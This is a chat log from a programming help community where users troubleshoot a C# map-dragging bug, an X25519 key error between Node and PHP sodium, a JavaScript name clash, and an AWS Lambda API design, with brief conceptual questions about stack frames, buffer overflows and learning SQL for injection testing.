typo, I meant 3.10 😛

[harsh lodge]

I'm having a bit of an issue. I was wondering of perhaps someone here can help me out with that.
I'm trying to make a visual editor for some game (DayZ), which uses a lot of XML files. I felt like entering coordinates in text sucks as I have to teleport around the map, copy them down, tab into the text editor, enter them... the whole process takes forever.
There is a website where you can view an online map. The map is served as 256x256px images for various zoom settings. I made a python script to download the map images. Works fine.
I then made a winforms project in C# to stitch the map back together using Magick.Net (ImageMagick) and load that into a picturebox control. I wanted a drag and drop type control that slews the image by whatever amount the mouse moved while the mouse button is down.
The actual issue is that this slewing, while it works in principle, is very janky, jumping back and forth. I have no idea why that is.
I am using mouse events on the picture box itself for the slewing. On mouse down I set a boolan, on mouse up I reset it. On mouse move I update the coordinates of the viewport if the boolean is set.
Would someone be kind enough to have a look or maybe suggest how I can find out what goes wrong? The thing is that step by step debugging really doesn't work since the issue is sporadic. The picturebox generates many mouse move events and stepping through them all is really unfeasible.

Code available here: https://github.com/FalcoGer/DayZ-Editors
If you want to check it out, I recommend you remove all but one map from the json file in Assets/Maps/ so you don't download the whole 3GB image database. swansisland is the smallest since it only has 6 zoom settings.

I already tried putting a lock statement inside every mouse event function and the update function which creates the new image.
it didn't have any effect on the bug so I removed them again.

[harsh lodge]

I'm going to bed. if anyone wants to help me, send me a DM. Good night

🧺🦊💤

[tepid cargo]

i have gone through some of the code.. specially dayzmapview.cs.. now i think the problem is timer and mousemove.

generally for draggin you update the view on the mousemove event. but u are not doing that instead it's delegated to the time tick with the updateNeeded flag.
i would suggest in time_tick check for slewing if it is false then do whatever u want and use the update() in the mousemove event.

tho i don't know if it will work tho so

How important is learning SQL in order to perform SQLi attacks? Should i touch up on the basics of the language or do i just need to understand one or two things? Hope this question makes sense

[onyx merlin]

You ideally want to be able to query a database and interpret queries comfortably

[harsh lodge]

fixed it.

@tepid cargo the issue was with calculating the delta outside of slew from the mouse position. the viewport changes but the position of the mouse on the map doesn't. I don't know exactly what caused it but in my dreams i had the revelation that i should calculate the delta in the slew function and make it absolute rather than relative. and now it works. yay.

Good day to all of you.
I'm using NodeJS crypto and PHP sodium but I encountered this error

Uncaught SodiumException: scalar and point must be SODIUM_CRYPTO_SCALARMULT_SCALARBYTES

This is my javascript Code

const { publicKey, privateKey } = generateKeyPairSync('x25519', {
   publicKeyEncoding: {

      format: 'der'
   },
   privateKeyEncoding: {

      format: 'der'
   }
});

And this is my PHP, the value of $fromJavascript is the publicKey of Javascript I'm just pasting it as of now because I'm experimenting with different libraries.

$fromJavascript = "****";

$bob     = sodium_crypto_box_keypair();
$bobPB = sodium_crypto_box_publickey($bob);
$bobsharedKey = sodium_crypto_scalarmult(sodium_crypto_box_secretkey($bob), $fromJavascript);

Can you help me guys?

[brazen eagle]

is there an actual question in all that? not sure I follow exactly what you're trying to do here. Is there any specific error?

[inland lance]

Ohh sorry, the sodium_crypto_scalarmult() is throwing an error

Uncaught SodiumException: scalar and point must be SODIUM_CRYPTO_SCALARMULT_SCALARBYTES

[brazen eagle]

Then convert it?

I tried converting it to base64, hex but it's the same error.

The docs says the sodium_crypto_box_keypair generate X25519 key pair which is the same with my javascript generateKeyPairSync

how can i add a start button to my game in js

[magic falcon]

How much do you know about web based applications?

[covert stirrup]

a fair bit

my issueis

the function i make comes as undefined

[magic falcon]

So that's not just adding a button. That's a different issue.

[covert stirrup]

but

i have the button

it just comes back as undefined

[magic falcon]

How does a client communicate to the server?

[covert stirrup]

the button on click trigers a function, which makes the button dissapear and the game start

[magic falcon]

Web applications are stateless.

[covert stirrup]

at game end it reappears

var character = document.getElementById("character");
var block = document.getElementById("block");
var counter = 0;
var start = 2

function jump() {
  if (character.classList == "animate") { return }
  character.classList.add("animate");
  setTimeout(function () {
    character.classList.remove("animate");
  }, 300);
}
document.addEventListener("keyup", event => {
  if(event.isComposing || event.keycode == 32) {
    jump()
  }
})
var checkDead = setInterval(function () {
  let characterTop = parseInt(window.getComputedStyle(character).getPropertyValue("top"));
  let blockLeft = parseInt(window.getComputedStyle(block).getPropertyValue("left"));
  if (blockLeft < 20 && blockLeft > -20 && characterTop >= 130) {
    block.style.animation = "none";
    alert("| Game Over | Score: " + Math.floor(counter / 100) + " |");
    counter = 0;
    block.style.animation = "block 1s infinite linear";
  } else {
    counter++;
    document.getElementById("scoreSpan").innerHTML = Math.floor(counter / 100);
  }
}, 10);

function start() {
  return;
}```

start() comes up as "not a function"

start comes up as undefined even thoughit has correct syta

syntax

[frosty notch]

Because it does nothing

[onyx merlin]

What do you mean when you say it comes up as undefined?
Where are you seeing that?

[onyx merlin]

No, it's defined.

[frosty notch]

The function start does nothing

[onyx merlin]

Yeah

But it's defined

[frosty notch]

Yeah but it returns nothing

[onyx merlin]

It returns undefined. It is not undefined.

This is why we need context.

The fact it does nothing is not important.

[frosty notch]

Try adding return 'define me'

[onyx merlin]

No, the return value of the function is undefined.
THE FUNCTION IS DEFINED.

But the function itself is undefined this is point-blank wrong

[frosty notch]

Sorry, I misunderstood

[mystic oracle]

salu a tous

[covert stirrup]

i figured it out

i had a function and a var both named start

so it came as undefined

No I cannot

Basically I deployed the following git repo

Sounds like you shouldn't be using a language that you're not confident in

[onyx merlin]

If you're not confident in JS, don't use JS.

[placid goblet]

ok

[flint steeple]

can not read property of undefined means the property is not defined so you should look to the left of that property in this case request so do a console log for event.request

also use backticks in discord for code highlighting 🙂

[brazen eagle]

I'd guess challenge as in challenge-response rather than CTF

[brazen eagle]

your event.request isn't defined, I'd look into that first

[brazen eagle]

it means the object that you're trying to get a property from is not defined

i am not good with aws lamda but are you not supposed to define the events in ur sam yaml file?

[placid goblet]

I have 6 lambda functions and few other resources in one lambda application. Can we create an API to the application, or do we need create api separately to all functions?

[stone kayak]

You can do either, it depends entirely on what you want to happen 🙂

If your application is like:

Buy Food
* Count money (lambda 1)
* Calculate change (lambda 2)

You can certainly use one API to the application lambda which internally calls the other lambdas (you do not need an API-gateway to do this, you can use the step functions in lambda i believe)

[placid goblet]

Yes I want to create one api to the application instead of separately. Could you please tell me how to create for application

[placid goblet]

I checked for separately, but I am not getting how to do for application

Please help me by telling how to create an API for application (which has lambda functions and S3 buckets in it)

[proper void]

when a function is called,its stack frame is set up,i want to know whether the return address of the function lies within the stack frame or outside?

[brazen eagle]

Within

[proper void]

https://m.youtube.com/watch?v=75gBFiFtAb8

watch this video at 4:54 ,the person is saying something different

[placid goblet]

Yes it's within

[brazen eagle]

guess it depends on how you define the context of the stack frame

[placid goblet]

Can't we create an API to application directly similar to creating to single lambda function??

[brazen eagle]

what do you mean?

normally yes? that's the point of a microservice, or any backend really

[placid goblet]

Means can we create an API to the lambda application

Instead of one api for each lambda function separately

[brazen eagle]

why not?

[placid goblet]

Can you say how

I got how to create separately

[brazen eagle]

it depends on your use case

you'll have to interface with the lambdas regardless

get the pen and paper out and draw out your use cases

it'll help define your architecture I think

[placid goblet]

The functionality is like, it's for face authentication. For signing in, the lambda function matches the user face with the one in S3 bucket. If sign-up, then the camera will take a photo and store it in one S3 buckets

1st bucket: Stores photos while logging in
2nd bucket: Stores photo while registering

probably don't want to store the photo for login

and when registering you'll likely want to store some form of hash made from your key data points rather than the photo itself

regenerate that hash and compare those for login

[placid goblet]

Yup... But this is readymade git repo of Amazon. I deployed it. Now need to create rest api

[brazen eagle]

ah ok

[placid goblet]

So my task is to create api without modifying the functionality

[brazen eagle]

ok so you want something in front that'll call your lambdas while exposing an API for the end user, yes?

[placid goblet]

Yes

[brazen eagle]

I can see 2 use cases that you described: Login and Register

sounds like the beginnings of an API to me

are you constrained by language, as you'll have some code to write?

[placid goblet]

I am presently good at python and Java

For creating api for one lambda function, we can use api gateway in AWS console. So similarly can't we create api for lambda application using api gateway

[brazen eagle]

on the Java side I'd say use Spring Boot. not my favourite, but it's sufficiently well known to have lots of resources around. For python, anything based on Flask should be fine

[placid goblet]

Ok...will try

[brazen eagle]

if you want to have a bit of fun, Quarkus is an interesting new-ish framework

don't know how it integrates with Lamdba though, I assume you call an endpoint to call the function, yes?

[placid goblet]

Yes, the invoked url calls the function

[brazen eagle]

ok so you'll need a REST client

[placid goblet]

Yup

[brazen eagle]

both Spring and Quarkus provide one

[placid goblet]

Ok

[brazen eagle]

and for Python, requests is good

[placid goblet]

Thanks for your help friend 😃, I will try that

[brazen eagle]

good hunting

[placid goblet]

👋 There are 6! good first issues on the PyWhat repo if anyone wanted to get a free shirt this Hacktoberfest! 😄 https://github.com/bee-san/pyWhat/issues?q=is%3Aissue+is%3Aopen+label%3A"good+first+issue"

[brazen eagle]

Haha

Free shirts are fun

Hi lads, I've made some small projects on some stuff networking in python.
Thought It would be cool to share with you guys:

[brazen eagle]

So self promotion is generally frowned upon. That said, why is there an infinite busy-wait loop in your main?

[steel vigil]

yep i removed it

just old code

[magic falcon]

isn't the return address pushed prior to the frame being created?

[brazen eagle]

something to look up

[brazen eagle]

your project is impossible to set up on Windows

poetry keeps eating dirt

[proper void]

i want to know the difference between buffer and stack,and the difference between buffer overflow and stack overflow, i tried searching it on google but there wasn't any satisfactory explanation.

[magic falcon]

This seems like a homework question.

[stone kayak]

yes poetry barely works on windows 😦

[brazen eagle]

Pycharm doesn't seem to like it either

I really need a linux box

I hate to do this, but reading even just the intro of each article will be a good start

[cursive orchid]

is it possible to screenshot a webpage in python without importing external libraries?

i can't seem to find anything

[tulip sail]

Sure: write your own library

[onyx merlin]

You'd need some HTML renderer, or headless browser

[tulip sail]

^^^

[onyx merlin]

There are some good libs that make that simpler, I was reading about one earlier

[tulip sail]

Neither of which are inbuilt

[cursive orchid]

hmm oke
